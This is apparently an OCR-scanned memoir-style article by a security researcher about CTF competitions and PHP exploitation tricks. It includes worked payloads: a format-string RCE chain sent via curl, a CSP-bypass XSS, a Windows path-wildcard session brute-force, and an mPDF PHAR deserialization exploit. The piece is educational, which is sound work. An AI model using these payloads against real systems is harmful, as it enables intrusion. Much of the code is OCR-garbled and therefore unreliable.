


The A r t o f PHP - My CTF Journey and Untold Stories!

Prologue

We all play different roles throughout our lives. I was

fortunate enough to discover my passion early - and even

luckier to make a living out of it. Before becoming a full-

time hacker, I was also a script kiddie causing trouble, a

young guy thirsty for bigger thrills, and a bug hunter

chasing higher bounties. And now, I can proudly call

myself a "hacker." All these experiences - whether good or

bad - have truly shaped who I am today, and this article

shares one chapter of my life - the days when I was

competing full-time in "hacking competitions!"

About Me

Hi, I'm Orange Tsai. I guess many of you probably know

me from my vulnerability research [1]. Maybe you've also

heard my name mentioned as a Pwn20wn champion,

a Pwnies Awards winner, or even spotted my bugs on the

KEV (Known Exploited Vulnerabilities) list - like those in

Microsoft Exchange Server, SSL VPNs, and most recently,

Apache HTTP Server. I'm not really sure if this is

something I should be proud of, but out of the top 15 bugs

hackers exploited most in 2021 [2], around 60% were

discovered and reported by me... (sigh)

Hacking Competitions

It's been about 18 years since I first came across these so-
called *hacking competitions*. Back then, t h o s e

competitions - or Wargames, as we called them - weren't

nearly as competitive as today's CTFs. Instead, they were

more about passing down knowledge and, you know, just

having fun. So all sorts of niche topics - whether from

computer science, hacking skills, math, or even hacker

culture - could become challenges, as long as geeks

thought they were cool enough!

So even today, after all these years, I still vividly

remember those carefree days when I could simply

explore new things. Every day I'd look forward to

learning something new - no matter how useful or useless

- diving deep into subjects just to solve one simple

question, and getting excited about every tiny step

forward. Just learn, hack, enjoy - then repeat!

I still remember those days when I was hooked like it was

an online game - staying up day and night climbing ranks

on the leaderboards. At that time, I'd do anything to solve

those challenges -even printing them o u t and

shamelessly asking my math teacher for help. You know,

for someone who wasn't exactly a typical "good student,"
that wasn't easy. Anyway, I tried everything I could think

of, but nothing worked, and my ranking stayed stuck for

a long time - until one day, I realized that the challenge

wasn't as strict as I'd thought. This meant I could just skip

the hardest part of the polynomial - and finally got the

right answer!

That was the first time - at least as far as I remember - that

I felt the joy of solving problems in a clever way. It was

also the first moment I clearly realized that, just by paying

attention to a few more details, even someone like me

could crack problems that the pros called impossible. This

kind of "thinking outside the box" really had a huge
impact on my life afterward!

Being a Pro CTF Gamer

I've spent a huge part of my life playing these games,

which we now call "CTF." For those unfamiliar with this

term, here's a quick explanation:

CTF (Capture the Flag) was originally created by hackers

to challenge each other, requiring participants to master

various hacking techniques to capture the so-called *flag*.

Ever since DEFCON officially introduced it as part of its

event in 1996, CTF has gradually evolved into a highly

competitive esport*, where participants typically have 48

to 56 hours, to grind through challenges set by organizers.

Over the years, CTF has also steadily grown into

numerous event series across conferences, universities,

and even nationwide tournaments - ranging from

competitions like SECCON in Japan and XCTF in China,
to international competitions like ICC. DEFCON CTF is

especially regarded as the "holy grail" among enthusiasts

- something many hackers dream of experiencing at least

once in their lifetime.

I'm fortunate to have experienced the golden age of CTF.

Looking back at my "esports career," I've participated in

hundreds of competitions, especially during those four to

five years when I was deeply into CTF. I'd fly out to

different countries almost every two months to attend

those finals, all while grinding through those tough

online qualifiers. Though I've gradually stepped away

over the past few years, I still miss those days. Whether it

was hacking all night with my teammates in classrooms,

or talking shit and just wandering around new cities

between competitions, these moments remain some of

my most precious memories!
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Arbitrary Object Inst

‹?php
Smodel = $_GET ['mod' ];
Sobj = new Smodel();

+

PHP Bug #71105

< ? p h p
Sname = "%n%n%n";
Sname: : doSomething();

+ ニ ニ ニ ニ ニ ニ ニ ニ ニ ニ +

[B 0 OM !]
＋ = = ニ ニ ニ ニ ニ ニ = 1 4

When I first saw Andrew's report, it immediately hit me

that this bug could perfectly combine with the previous

attack, creating a fun combination - something I'd like to

call "Format-String Oriented Programming!"

One two three - pop that FSB!

[1] leak address through PHP errors

$ c u r l "http://orange.local/index.php?model=%p-%p-%p*
Fatal error: Uncaught E r r o r : C l a s s '0x23-0x7fffb61f3df0-0x7f1b12666000*
not found i n [...]

n e x t

[2] move a heap pointer on stack to 'GOT(free)-2'

$ c u r l "http://orange.local/index.php?model=AAAAAAAAAAA \
AAAAAAAA-%p-%p-%p-[... ]-%p-%p-%p-%015373273d-%n "

[...]

n e x t

[3] partially overwrite 'GOT[free]' to call system

$ curl "h t tp : / /orange . loca l / index.php?model= ' | id&&exi t ; \
AAAAAAAA-%p-%p-%p- [ . . . ]-%p-%p-%p-%0605504d-%n

Uid-33(www-data) gid=33(www-data) groups=33(www-data)

Originally, this was just an idea collecting dust in my

notes, waiting for the perfect moment to turn it into

a challenge - but who knew ten years would fly by like

that? Since the perfect timing never came, maybe this is

the right place to write it down - I mean, it's not every day

you get to see a classic format-string bug popping up in a

scripting language. That's PHP for you!

1.2 - When Security Features Make You Less Secure

Ever since @alech and @zeri demonstrated how you

could take down almost every programming language

through algorithmic complexity [19], PHP had no choice

but to introduce the "max input_vars directive

as a defense measure. Although this didn't fundamentally

solve the issue, at least it prevented resource exhaustion
f r o m excessive input. However, using limitations

as a defense can sometimes be a double-edged sword.

Take PCRE's 'backtrack _limit', for example - it's often
abused to invalidate regular expressions. And now, I'd like

to introduce another interesting case, where a security

feature actually leads to a "security bypass"!

In PHP, there's a hidden trap when using ' h e a d e r ' : if

there's any kind of output before setting response

headers, PHP simply ignores all subsequent 'header'

calls. The official documentation explicitly mentions this:

Remember that 'header) must be called before any

actual output is sent, either by normal HTML tags,

blank lines in a file, or from PHP.

This is a textbook issue, and pops up in many CTF

challenges. Yet, in most cases, it still relies on unexpected

output caused by existing logical errors. But what if

today, there's no code before setting response headers at

all - can you still exploit it?

CSP: Content Security Policy

header ("Content-Security-Policy: default-src 'none';");
echo S_ GET["xss"]:

Definitely! @pilvar cleverly exploited a side effect on

max_input_vars* [20] : when the number of parameters
exceeds PHP's limit, PHP kindly throws a warning

message at you. However, this warning indeed violates

the assumption that "there must be no output before the

response header," totally breaking the defense-in-depth

CSP, and re-enabling Cross-Site Scripting again!

CSP? Can't Stop Payloads!

[1] CSP says No!

$ cu r l -i "http://orange.local/?xss=<svg/onload=alert (1)>"
HTTP/1.1 200 OK

Content-Security-Policy: default-sre 'none';
<svg/onload=alert (1)>

n e x t

[2] We're free from CSP now!

$ c u r l - i "http://orange.local/?xss=<svg/onload=alert ( 1 ) > \
&A=1&A=2&A=3&A=4&...&A=999&A=1000"

HTTP/1.1 2 0 0 OK
[ ١٠٠٠

<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000 [ . . . ]
« b r / >

<b>Warning</b>: Cannot modify header information - headers already sen t

<svg/onload=alert (1)>
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3 . When Windows Breaks...

One thing I really love about Web Security is that, even

though each individual trick seems pretty simple, the real

challenge lies in figuring out how t o chain them together.

Especially nowadays, behind every seemingly simple

website, there's usually a complex mix o f tech stacks,

layered architectures, and cross-system interactions - not

t o mention tha t each component has i t s own quirks and

technical debt. So what makes Web Security fascinating -

a n d frankly beautiful - t o m e i s finding a t i n y flaw,

figuring out how to leverage the architecture to amplify

its impact, and chaining everything together into a clean,

well-crafted exploit to take over the entire system!

Personally, I'm a huge fan of the security issues caused by
interactions ac ross applications. Whe the r i t ' s about

HTTPoxy [38] - caused by naming collisions defined in

RFC specs - TLS Poison attacks [39] that abuse TLS/SSL

session resumption, or an old-school trick from the '90s

resurfacing in modern frameworks [40] like Laravel, these

are all legendary i n my book!

But let 's p u t those aside f o r n o w - a n d s t a r t with

everyone's favorite classic: Windows!

3 . 1 - W i n d o w s P a t h M a d n e s s

I f we're really talking about the most notorious issue

when running P H P o n Windows, I ' d say i t ' s definitely

how Windows handles file paths! My earliest memories of

this topic probably come from the classic articles by the

teams at USH.it [41] and ONsec [42]. They documented

tons of quirky behaviors in how Windows processes file

paths, allowing you t o access files i n a l l kinds o f fancy

w a y s .

These tricks were s o well-known i n the early days that

you'd see them in basically every CTF. Probably the most

memorable combo was using "wildcards in DOS Devices"
t o b r u t e - f o r c e r a n d o m i z e d fi l e n a m e scharacter-by-

character. This technique quickly made i t s way into

several popular web applications, including PHPCMS [43]

and DedeCMS [44] a s two notable examples. Attackers

can use this trick t o reveal sensitive paths - like backup

files, session names, and even the admin portal - by

simply checking whether certain paths exist or not!

Brute-forcing the SESSION P a t h !

B a s e U R L : h t t p : / / p h p c m s / a p i . p h p ? o p = c r e a t i m g & t x t = 1 3 3 7 & f o n t = * PAT H *

V

- - - -

C u r r e n t p r e fi x =
- - - - +

- >

- V -

T r y n e x t c h a r a c t e r : C

N o i m a g e I m a g eO K

( p r e fi x + = C )

/ x a m p p / t m p / s e s s _ A < "
/ x a m p p / t m p / s e s s B < "

/ x a m p p / tmp s eS S_ C < "

. / x a m p p / t m p s e s s C A < "

. / x a m p p / t m p / s e s s _C B < "c
c

s
c

s
o

s

c u r l
c u r l
c u r l
c u r l

c u r l

[ . . . ]

{ U R LY & f o n t =
URL & f o n t =
UR L & f o n t =
URL & f o n t = .

{ U R L } & f o n t = . . / . . .

$ c u r l "${URL}&font=[...]/tmp/sess_CBHRVOFTMP41BIOV02VPSGSUP7"

##
 

#
 

#

#

0 K

O K

# [OK]
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I'd almost forgotten about this IRC log [75] XD

13:141
13:14
13:14
13:27
13:27
13:27
13:38
13:38

‹Beched> omg is this common knowledge? =)

‹Beched> where did you learn that PHP deserializes metadata in phars?
‹Beched> somehow no one knew t h a t among us

‹orange_> I read the PHP source code in my free time

<orange_> I think both tricks are not s e e n on the Internet
‹orange_> That's why nobody solve it ! :(

‹Beched> yeah that's c o o l
‹Beched> turning arbitrary read into unserialize

Level 0 - What i s PHAR?
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

Just like JAR files in Java, "PHAR" is a PHP-specific

archiving format designed for easier deployment. While

designing this format, PHP also included a dedicated field
to store the file's own metadata. And to make sure

deployed applications could easily access this information

later on, the metadata itself is also stored in a *serialized

format* - which, as it turns out, opened a whole new door

for attackers.

So, how can we exploit this serialized field? Let's reuse the

"Blind AFR" from earlier, but this time we'll change the

function from "reading a file" to something even more

restricted - checking if a file exists:

Try harder: Blind Arbitrary File-Check

‹?php file_exis ts ( S_GET['file'] );

At first glance, it might seem like filter chains could help

again.

However, since 'file_exists)' literally only checks if a file
exists without actually processing its content, you can't

apply the previous side-channel oracle here. But here's
another twist - in order to conveniently use PHAR files

within PHP scripts, PHP introduced the phar://' built-in

wrapper back in PHP 5.3. And whenever PHP parses a

PHAR file with this protocol, it automatically deserializes

the metadata stored inside. This means nearly every file

operation in PHP could potentially become another entry

point for deserialization!

As for exactly how we can escalate this from PHAR

deserialization all the way to remote code execution,

there are still some practical challenges to overcome -

such as figuring out how to deliver a malicious PHAR file

onto the remote server. (Perhaps our efforts in the LFI

Arms Race weren't wasted after all!) This heavily requires

the attacker's creativity and their familiarity with the

target environment. I believe Thomas already showed an

impressive RCE in TCPDF during his talk. Here, I'd like to

introduce another brilliant case involving mPDF!

= = = = = =

I Level Max - L a r a v e l (w/ mPDF) K i l l Chain

Just like TCPDF, mPDF is another widely used library

when you need to convert HTML into PDFs. And during

the conversion process, mPDF performs file operations on

image URLs as well - meaning attackers can easily reuse

the same technique to trigger PHAR deserialization:

S o P H A R s o G o o d !

<img sre="phar: //path/to/image.jpg" />

The issue was first discovered [76] back in 2019 and

promptly got patched

However, @Cyku quickly found another way to trigger

the vulnerability and provided a full exploit [77] based on
a real-world scenario! He also discovered that mPDF

actually caches embedded Data URIs onto the remote

filesystem. By exploiting the predictable randomness of

the cached filenames, he was able to smuggle a crafted

PHAR file - then combine it wi th Laravel's built-in POP

chains - to finally achieve RCE!

Exploit mPDF All in One!

‹style>
background: url(data:image/jpeg:base64, HERE-IS-PHAR-PAYLOAD-IN-BASE64) : |

</style>

<img sre="#" ORIG_SRC="phar:/// tmp/mpdf/_tempCSSidata42_0.jpeg/a.jpg" />

The entire PHAR mechanism really opened up a whole

new era of PHP deserialization attacks. As more

researchers got involved, this attack surface gradually

expanded to cover more applications, libraries, and even

PHP frameworks. Ultimately, this forced the PHP team to

disable automatic deserialization in the PHAR protocol

starting from PHP 8.0 [78]. I'm sure that was fantastic
news for both Thomas and me - because it meant that our

"security research" actually did something positive in the

real world, and made PHP a little bit safer! :)
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